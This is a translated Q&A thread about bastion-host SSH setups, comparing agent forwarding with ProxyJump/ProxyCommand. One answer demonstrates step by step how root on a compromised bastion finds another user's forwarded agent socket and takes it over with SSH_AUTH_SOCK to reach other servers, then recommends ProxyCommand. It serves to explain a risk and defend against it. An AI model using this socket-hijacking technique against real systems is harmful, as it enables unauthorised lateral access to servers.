Бастионный сервер: используйте TCP forwarding VS, поместив закрытый ключ на сервер
У нас есть бастионный сервер B. Нам нужно SSH от A до B на C, используя закрытый ключ.
Какой вариант лучше?
Поместите закрытый ключ SSH на сервер B. Мы читаем, что это плохая идея в производственной среде.
Никогда не размещайте свои закрытые ключи SSH на экземпляре бастиона. Вместо этого используйте переадресацию агента SSH, чтобы сначала подключиться к бастиону, а оттуда - к другим экземплярам в частных подсетях. Это позволяет вам хранить ваш закрытый ключ SSH только на вашем компьютере.
Используйте переадресацию агента SSH. Для настройки переадресации агента мне нужно разрешить пересылку TCP. При настройке переадресации агента на хосте пересылки создается файл сокета, который представляет собой механизм, с помощью которого ключ может быть перенаправлен к месту назначения. В настройках Бастион на AWS:
Переадресация TCP: если для этого значения установлено значение true, включится переадресация TCP (туннелирование SSH). Это может быть очень полезно, но это также и угроза безопасности, поэтому мы рекомендуем оставить настройку по умолчанию (отключена), если это не требуется
Также отсюда:
Переадресация агента SSH считается вредной
Что лучше? Как насчет альтернативы из второй ссылки: ProxyCommand, я понимаю, что это помогает с проблемой файла сокета, но все же я думаю, что мне нужно включить пересылку TCP, так что это достаточно безопасно?
3 ответа
Используйте ProxyCommand или ProxyJump
Я бы порекомендовал использовать ProxyCommand
(или даже лучше ProxyJump
так как синтаксис проще, но требует openssh 7.3+ (я думаю на стороне клиента), и вам не нужно развертывать закрытый ключ на Bastion, все остается локальным.
Пример с ProxyJump
На вашем клиентском компьютере вы пишете файл в ~/.ssh/config
с аналогичным содержанием ниже:
Host bastion
HostName bastion.example.com
User bastion-user
Port 22
IdentityFile ~/.ssh/id_bastion
Host srvC
HostName srvC.local
User server-user
IdentityFile ~/.ssh/id_protected_lan
ProxyJump bastion
Затем делать ssh srvC
соединит вас с C через B (бастион) без переадресации агента или развертывания закрытого ключа на бастион.
В приведенном выше примере "bastion" - это псевдоним вашего хоста Bastion, а srvC - это псевдоним вашего сервера C. HostName
вам нужно указать либо IP-адреса, либо реальные полные доменные имена для ваших хостов. Для пользователей вам необходимо обновить User
для правильного имени входа на Бастион и сервер C. Наконец, IdentityFile
необязательно, если вы используете локальный агент (например, KeeAgent или ssh-agent), но если он не запущен, он также будет работать и запрашивать у вас ключевые пароли.
Развертывание открытых ключей
Конечно, вам нужно развернуть открытые ключи как для бастиона, так и для srvC. Вы можете использовать (знак $ только для иллюстрации приглашения, не вводите его):
$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
srvC
Примечание: вышеуказанное будет работать, только если аутентификация по паролю все еще разрешена. После вышеописанного развертывания и проверки того, что все работает как положено, вы должны запретить аутентификацию по паролю на 2 серверах.
Пример с ProxyCommand вместо ProxyJump
Если у вас более старая версия OpenSSH, которая не поддерживает ProxyJump
(на стороне клиента), затем замените:
ProxyJump bastion
от
ProxyCommand ssh -q -W %h:%p bastion
Насколько я понял, это похоже.
Я видел ответ про ProxyJump. Давайте поговорим о ProxyCommand.
Но подожди, подожди! Я могу написать вам, как взломать сервер, который использует переадресацию агента, это будет намного легче понять разницу!
Давайте взломать!
Для основных шагов: вы можете прочитать мой пост здесь
Основные шаги следующие:
- Создать пользователей бастиона
- Отключить root-логин
- Блокировать попытки взлома
- Изменить порт
- Настроить брандмауэр
- Настройте SELinux
Как использовать AgentForwarding
-Создать конфиг в ~ /.ssh / config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-Добавьте свой ключ аутентификации в ssh-agent
ssh-add ~/.ssh/name_rsa
-Соединиться с бастионом
ssh bast
-Подключение сервера приложений от бастиона
ssh app@IP -p PORT
Взлом!
Вы можете задать мне вопрос:
Безопасен ли мой сервер? И ответ довольно прост:
- НЕТ!
Зачем?
- Потому что вы используете переадресацию агента SSH!
И в чем проблема?
- Потому что переадресация агента опасна и считается вредной.
Зачем?
- Давайте объясним все наизнанку: когда вы подключаете бастионный хост, ваш славный ssh-агент перенаправляется. Это означает, что сокет будет настроен так, чтобы кто-то мог использовать эти данные сокета для доступа к вашим серверам. Представьте, что ваш бастионный сервер скомпрометирован. Если у кого-то есть достаточные разрешения на вашем Linux-сервере, он / она просто использует информацию о вашем сокете. В результате, весь ваш сервер может быть доступен. Я знаю, что окно компромисса очень мало, потому что оно зависит от того, сколько времени вы подключены к хосту бастиона. Но вы действительно хотите рисковать, когда у вас есть другие варианты, такие как ProxyCommand? Следовательно, просто используйте ProxyCommand!
Как взломать серверы, если вы взломали бастионный хост?
Трек Цель
В каталоге / tmp вы можете увидеть что-то вроде этого:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Давайте откроем временный файл
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Давайте посмотрим на соединения с этим идентификатором процесса.
netstat -nxp | grep 10507
результат:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
а кто связан?
lsof -i -a -p 10507
результат:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
Мы также можем увидеть файлы сокетов:
cd /proc/10507/fd/
ls
результат:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
А что будет, когда клиент будет подключен к удаленному серверу? Посмотрим:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Мы даже можем увидеть, используется ли файл сокета с помощью netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Информация о краже сокета и IP-адрес
Теперь нам нужно украсть информацию о сокете, пока открыт сеанс бастионного хоста. О, нам также нужен IP-адрес сервера назначения, поэтому просто используйте netstat:
netstat -tn
Последний шаг для использования перенаправленного файла сокета
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Проверьте, загружен ли ключ.
ssh-add -l
результат должен быть примерно таким:
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Сервер взломан, как исправить проблему безопасности?
Прокси команда
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Для основных операций: как передавать файлы через серверы (от клиента к серверу, от сервера к клиенту), вы можете прочитать в моем посте здесь
Заключение
- Если вы используете бастионный хост, не используйте AgentForwarding, но используйте ProxyCommand
- Всегда используйте пользователя без полномочий root для аутентификации
- Используйте брандмауэр и заблокируйте все ненужные подключения.
- Используйте SELinux (в общем)
- Заблокируйте IP-адрес, который пытается войти несколько раз с неверными учетными данными
- Если это не нужно, не разрешайте пользователю sudo
- Контролируйте свой сервер
- Обновите свой сервер для исправлений безопасности
Более подробную информацию смотрите в моем блоге. Кроме того, у меня есть несколько скриншотов, так что это может быть полезно для вас.
Просто используйте переадресацию агента SSH, как и большинство других.
- Ключи будут в ssh агенте на вашем ноутбуке.
- Вы входите в бастион, аутентифицируемый через агента.
- Оттуда войдите на целевой хост, с запросом аутентификации, перенаправленным обратно на ваш ноутбук.
Преимущество: на бастионе не хранятся ключи, которыми можно злоупотреблять.
Надеюсь, это поможет:)